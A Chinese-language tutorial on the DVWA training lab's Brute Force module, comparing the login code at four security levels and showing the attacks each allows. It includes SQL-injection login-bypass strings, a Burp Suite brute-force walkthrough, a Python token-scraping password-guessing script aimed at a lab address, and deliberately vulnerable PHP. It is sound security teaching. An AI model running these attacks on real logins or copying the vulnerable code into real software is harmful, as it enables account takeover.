DVWA之Brute Force
DVWA簡介
DVWA(Damn Vulnerable Web Application)是一個用來進行安全脆弱性鑑定的PHP/MySQL Web應用,旨在為安全專業人員測試自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防範的過程。
DVWA共有十個模組,分別是Brute Force(暴力(破解))、Command Injection(命令列注入)、CSRF(跨站請求偽造)、File Inclusion(檔案包含)、File Upload(檔案上傳)、Insecure CAPTCHA(不安全的驗證碼)、SQL Injection(SQL隱碼攻擊)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站指令碼)、XSS(Stored)(儲存型跨站指令碼)。
需要注意的是,DVWA 1.9的程式碼分為四種安全級別:Low,Medium,High,Impossible。初學者可以通過比較四種級別的程式碼,接觸到一些PHP程式碼審計的內容。
Brute Force
Brute Force,即暴力(破解),是指黑客利用密碼字典,使用窮舉法猜解出使用者口令,是現在最為廣泛使用的攻擊手法之一,如2014年轟動全國的12306“撞庫”事件,實質就是暴力破解攻擊。
下面將對四種級別的程式碼進行分析。
Low
伺服器端核心程式碼
<?php
if(isset($_GET['Login'])){
//Getusername
$user=$_GET['username'];
//Getpassword
$pass=$_GET['password'];
$pass=md5($pass);
//Checkthedatabase
$query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
if($result&&mysql_num_rows($result)==1){
//Getusersdetails
$avatar=mysql_result($result,0,"avatar");
//Loginsuccessful
echo"<p>Welcometothepasswordprotectedarea{$user}</p>";
echo"<imgsrc="{$avatar}"/>";
}
else{
//Loginfailed
echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>";
}
mysql_close();
}
?>
可以看到,伺服器只是驗證了引數Login是否被設定(isset函式在php中用來檢測變數是否設定,該函式返回的是布林型別的值,即true/false),沒有任何的防爆破機制,且對引數username、password沒有做任何過濾,存在明顯的sql注入漏洞。
漏洞利用
方法一爆破利用burpsuite即可完成
第一步抓包
第二步,ctrl+I將包複製到intruder模組,因為要對password引數進行爆破,所以在password引數的內容兩邊加$
第三步選中Payloads,載入字典,點選Start attack進行爆破
最後,嘗試在爆破結果中找到正確的密碼,可以看到password的響應包長度(length)“與眾不同”,可推測password為正確密碼,手工驗證登陸成功。
方法二手工sql注入
1. Username:admin’ or ’1′=’1
Password:(空)
注入成功
2. Username :admin’ #
Password :(空)
注入成功
Medium
伺服器端核心程式碼
<?php
if(isset($_GET['Login'])){
//Sanitiseusernameinput
$user=$_GET['username'];
$user=mysql_real_escape_string($user);
//Sanitisepasswordinput
$pass=$_GET['password'];
$pass=mysql_real_escape_string($pass);
$pass=md5($pass);
//Checkthedatabase
$query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
if($result&&mysql_num_rows($result)==1){
//Getusersdetails
$avatar=mysql_result($result,0,"avatar");
//Loginsuccessful
echo"<p>Welcometothepasswordprotectedarea{$user}</p>";
echo"<imgsrc="{$avatar}"/>";
}
else{
//Loginfailed
sleep(2);
echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>";
}
mysql_close();
}
?>
相比Low級別的程式碼,Medium級別的程式碼主要增加了mysql_real_escape_string函式,這個函式會對字串中的特殊符號(x00,n,r,,’,”,x1a)進行轉義,基本上能夠抵禦sql注入攻擊,說基本上是因為查到說 MySQL5.5.37以下版本如果設定編碼為GBK,能夠構造編碼繞過mysql_real_escape_string 對單引號的轉義(因實驗環境的MySQL版本較新,所以並未做相應驗證);同時,$pass做了MD5校驗,杜絕了通過引數password進行sql注入的可能性。但是,依然沒有加入有效的防爆破機制(sleep(2)實在算不上)。
具體的mysql_real_escape_string函式繞過問題詳見
http://blog.csdn.net/hornedreaper1988/article/details/43520257
http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html
漏洞利用
雖然sql注入不再有效,但依然可以使用Burpsuite進行爆破,與Low級別的爆破方法基本一樣,這裡就不贅述了。
High
伺服器端核心程式碼
<?php
if(isset($_GET['Login'])){
//CheckAnti-CSRFtoken
checkToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php');
//Sanitiseusernameinput
$user=$_GET['username'];
$user=stripslashes($user);
$user=mysql_real_escape_string($user);
//Sanitisepasswordinput
$pass=$_GET['password'];
$pass=stripslashes($pass);
$pass=mysql_real_escape_string($pass);
$pass=md5($pass);
//Checkdatabase
$query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
if($result&&mysql_num_rows($result)==1){
//Getusersdetails
$avatar=mysql_result($result,0,"avatar");
//Loginsuccessful
echo"<p>Welcometothepasswordprotectedarea{$user}</p>";
echo"<imgsrc="{$avatar}"/>";
}
else{
//Loginfailed
sleep(rand(0,3));
echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>";
}
mysql_close();
}
//GenerateAnti-CSRFtoken
generateSessionToken();
?>
High級別的程式碼加入了Token,可以抵禦CSRF攻擊,同時也增加了爆破的難度,通過抓包,可以看到,登入驗證時提交了四個引數:username、password、Login以及user_token。
每次伺服器返回的登陸頁面中都會包含一個隨機的user_token的值,使用者每次登入時都要將user_token一起提交。伺服器收到請求後,會優先做token的檢查,再進行sql查詢。
同時,High級別的程式碼中,使用了stripslashes(去除字串中的反斜線字元,如果有兩個連續的反斜線,則只去掉一個)、 mysql_real_escape_string對引數username、password進行過濾、轉義,進一步抵禦sql注入。
漏洞利用
由於加入了Anti-CSRFtoken預防無腦爆破,這裡就不推薦用Burpsuite了,還是簡單用python寫個指令碼吧。
下面是我自己寫的一個指令碼(python 2.7),使用者名稱為admin,對password引數進行爆破並列印結果,僅供各位參考。
from bs4 import BeautifulSoup
import urllib2
header={ 'Host': '192.168.153.130',
'Cache-Control': 'max-age=0',
'If-None-Match': "307-52156c6a290c0",
'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
'Accept': '*/*',
'Referer': 'http://192.168.153.130/dvwa/vulnerabilities/brute/index.php',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Cookie': 'security=high; PHPSESSID=5re92j36t4f2k1gvnqdf958bi2'}
requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"
def get_token(requrl,header):
req = urllib2.Request(url=requrl,headers=header)
response = urllib2.urlopen(req)
print response.getcode(),
the_page = response.read()
print len(the_page)
soup = BeautifulSoup(the_page,"html.parser")
user_token = soup.form.input.input.input.input["value"] #get the user_token
return user_token
user_token = get_token(requrl,header)
i=0
for line in open("rkolin.txt"):
requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i = i+1
print i,'admin',line.strip(),
user_token = get_token(requrl,header)
if (i == 10):
break
get_token的功能是通過python的BeautifulSoup庫從html頁面中抓取user_token的值,為了方便展示,這裡設定只嘗試10次。
執行指令碼時的Burpsuite截圖
列印的結果從第二行開始依次是序號、使用者名稱、密碼、http狀態碼以及返回的頁面長度。
對比結果看到,密碼為password時返回的長度不太一樣,手工驗證,登入成功,爆破完成。
Impossible
伺服器端核心程式碼
<?php
if(isset($_POST['Login'])){
//CheckAnti-CSRFtoken
checkToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php');
//Sanitiseusernameinput
$user=$_POST['username'];
$user=stripslashes($user);
$user=mysql_real_escape_string($user);
//Sanitisepasswordinput
$pass=$_POST['password'];
$pass=stripslashes($pass);
$pass=mysql_real_escape_string($pass);
$pass=md5($pass);
//Defaultvalues
$total_failed_login=3;
$lockout_time=15;
$account_locked=false;
//Checkthedatabase(Checkuserinformation)
$data=$db->prepare('SELECTfailed_login,last_loginFROMusersWHEREuser=(:user)LIMIT1;');
$data->bindParam(':user',$user,PDO::PARAM_STR);
$data->execute();
$row=$data->fetch();
//Checktoseeiftheuserhasbeenlockedout.
if(($data->rowCount()==1)&&($row['failed_login']>=$total_failed_login)){
//Userlockedout.Note,usingthismethodwouldallowforuserenumeration!
//echo"<pre><br/>Thisaccounthasbeenlockedduetotoomanyincorrectlogins.</pre>";
//Calculatewhentheuserwouldbeallowedtologinagain
$last_login=$row['last_login'];
$last_login=strtotime($last_login);
$timeout=strtotime("{$last_login}+{$lockout_time}minutes");
$timenow=strtotime("now");
//Checktoseeifenoughtimehaspassed,ifithasn'tlockedtheaccount
if($timenow>$timeout)
$account_locked=true;
}
//Checkthedatabase(ifusernamematchesthepassword)
$data=$db->prepare('SELECT*FROMusersWHEREuser=(:user)ANDpassword=(:password)LIMIT1;');
$data->bindParam(':user',$user,PDO::PARAM_STR);
$data->bindParam(':password',$pass,PDO::PARAM_STR);
$data->execute();
$row=$data->fetch();
//Ifitsavalidlogin...
if(($data->rowCount()==1)&&($account_locked==false)){
//Getusersdetails
$avatar=$row['avatar'];
$failed_login=$row['failed_login'];
$last_login=$row['last_login'];
//Loginsuccessful
echo"<p>Welcometothepasswordprotectedarea<em>{$user}</em></p>";
echo"<imgsrc="{$avatar}"/>";
//Hadtheaccountbeenlockedoutsincelastlogin?
if($failed_login>=$total_failed_login){
echo"<p><em>Warning</em>:Someonemightofbeenbruteforcingyouraccount.</p>";
echo"<p>Numberofloginattempts:<em>{$failed_login}</em>.<br/>Lastloginattemptwasat:<em>${last_login}</em>.</p>";
}
//Resetbadlogincount
$data=$db->prepare('UPDATEusersSETfailed_login="0"WHEREuser=(:user)LIMIT1;');
$data->bindParam(':user',$user,PDO::PARAM_STR);
$data->execute();
}
else{
//Loginfailed
sleep(rand(2,4));
//Givetheusersomefeedback
echo"<pre><br/>Usernameand/orpasswordincorrect.<br/><br/>Alternative,theaccounthasbeenlockedbecauseoftoomanyfailedlogins.<br/>Ifthisisthecase,<em>pleasetryagainin{$lockout_time}minutes</em>.</pre>";
//Updatebadlogincount
$data=$db->prepare('UPDATEusersSETfailed_login=(failed_login+1)WHEREuser=(:user)LIMIT1;');
$data->bindParam(':user',$user,PDO::PARAM_STR);
$data->execute();
}
//Setthelastlogintime
$data=$db->prepare('UPDATEusersSETlast_login=now()WHEREuser=(:user)LIMIT1;');
$data->bindParam(':user',$user,PDO::PARAM_STR);
$data->execute();
}
//GenerateAnti-CSRFtoken
generateSessionToken();
?>
可以看到Impossible級別的程式碼加入了可靠的防爆破機制,當檢測到頻繁的錯誤登入後,系統會將賬戶鎖定,爆破也就無法繼續。
同時採用了更為安全的PDO(PHP Data Object)機制防禦sql注入,這是因為不能使用PDO擴充套件本身執行任何資料庫操作,而sql注入的關鍵就是通過破壞sql語句結構執行惡意的sql命令。
關於PDO:http://www.cnblogs.com/pinocchioatbeijing/archive/2012/03/20/2407869.html
轉自:http://www.freebuf.com/articles/web/116437.html
本文原創作者:lonehand
相關文章
- DVWA-Brute Force暴力破解
- DVWA靶場學習(一)—— Brute Force
- DVWA靶機通關係列--1.Brute Force(暴力破解)(解題思路+審計分析)
- 「暑期訓練」「Brute Force」 Multiplication Table (CFR256D2D)
- 「暑期訓練」「Brute Force」 Bitonix' Patrol (CFR134D1D)
- 「暑期訓練」「Brute Force」 Restoring Painting (CFR353D2B)RESTAI3D
- DVWA-1.9之fileupload
- dvwa
- BUU BRUTE 1 wp
- House Of Force
- D3原始碼解讀系列之Force原始碼
- DVWA--File Upload
- dvwa靶場搭建
- ACID(Force & Steal)
- DVWA搭建(kali+Windows)Windows
- 安全測試之 kali_liunx DVWA 實踐平臺安裝
- DVWA靶場通關教程
- AJP認證資訊爆破ajp_brute
- 2.5.11 指定 FORCE LOGGING 模式模式
- 2.5.11.1 使用 FORCE LOGGING 子句
- kali環境下安裝dvwa
- Win10下安裝DVWAWin10
- DVWA靶場實戰(七)——SQL InjectionSQL
- DVWA靶場實戰(六)——Insecure CAPTCHAAPT
- dvwa-暴力破解(low-high)
- [譯] 使用 `-force` 被認為是有害的;瞭解 Git 的 `-force-with-lease` 命令Git
- DVWA靶場實戰(九)——Weak Session IDSSession
- DVWA-SQL Injection(SQL隱碼攻擊)SQL
- DVWA滲透測試初級練習
- DVWA-檔案包含學習筆記筆記
- DVWA檔案包含全等級繞過方法
- nologging、force logging、supplemental log的理解
- [20180803]cursor_sharing = force.txt
- PostgreSQL DBA(138) - PG 13(Drop database force)SQLDatabase
- [20240325]FORCE_MATCHING_SIGNATURE與DML.txt
- Yuan Force收購萬順醫療MFV
- [20210627]cursor_sharing=force與orade by.txt
- 日誌記錄模式(LOGGING 、FORCE LOGGING 、NOLOGGING)模式